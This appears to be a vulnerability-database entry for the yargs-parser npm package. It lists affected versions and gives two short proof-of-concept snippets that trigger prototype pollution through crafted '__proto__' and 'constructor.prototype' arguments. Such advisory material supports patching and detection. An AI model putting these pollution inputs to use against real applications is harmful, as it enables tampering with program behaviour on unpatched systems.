the mighty option parser used by yargs
Latest version: 20.2.9
const parser = require('yargs-parser');
parser('--foo.__proto__.a b'.split(' '));
if (({}).a === 'b') console.log('exploitable');
Vulnerable versions: 1.0.0
1.1.0
1.1.1-alpha
1.1.1-alpha2
1.1.1-alpha3
2.0.0
2.1.0
2.1.1
2.1.2
2.2.0
2.4.0-next
2.4.0
2.4.1
3.1.0
3.2.0
4.0.0
4.0.1
4.0.2
4.1.0
4.2.0
4.2.1
4.2.1-candidate.0
4.2.1-candidate.1
5.0.0
6.0.0
6.0.1
7.0.0
8.0.0
8.1.0
9.0.0
9.0.1
9.0.2
10.0.0
10.1.0
11.0.0
11.1.0
11.1.1
12.0.0
13.0.0-candidate.0
13.0.0
13.1.0
13.1.1
14.0.0
15.0.0
16.0.0
16.1.0
17.0.0
17.0.1
17.1.0
18.0.0
18.1.0
const parser = require('yargs-parser');
parser('--foo.constructor.prototype.a b'.split(' '));
if (({}).a === 'b') console.log('exploitable');
Vulnerable versions: 1.0.0
1.1.0
1.1.1-alpha
1.1.1-alpha2
1.1.1-alpha3
2.0.0
2.1.0
2.1.1
2.1.2
2.2.0
2.4.0-next
2.4.0
2.4.1
3.1.0
3.2.0
4.0.0
4.0.1
4.0.2
4.1.0
4.2.0
4.2.1
4.2.1-candidate.0
4.2.1-candidate.1
5.0.0
6.0.0
6.0.1
7.0.0
8.0.0